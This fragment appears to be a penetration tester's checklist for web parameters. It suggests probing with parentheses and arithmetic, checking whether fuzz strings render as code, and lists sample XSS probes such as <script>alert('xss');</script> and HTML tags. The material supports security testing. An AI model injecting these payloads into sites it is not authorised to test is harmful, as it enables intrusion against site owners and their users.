             ()          <----- Take the parameter value and put it in parenthesis
             (5-1)       <----- See if you can perform an arithmetic function
 
 
     - Are the fuzz strings rendering executable code?
         - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
         - Some example strings that I use are:
             <b>hello</b>
             <u>hello</u>
             <script>alert(123);</script>
             <script>alert(xss);</script>
             <script>alert('xss');</script>
             <script>alert("xss");</script>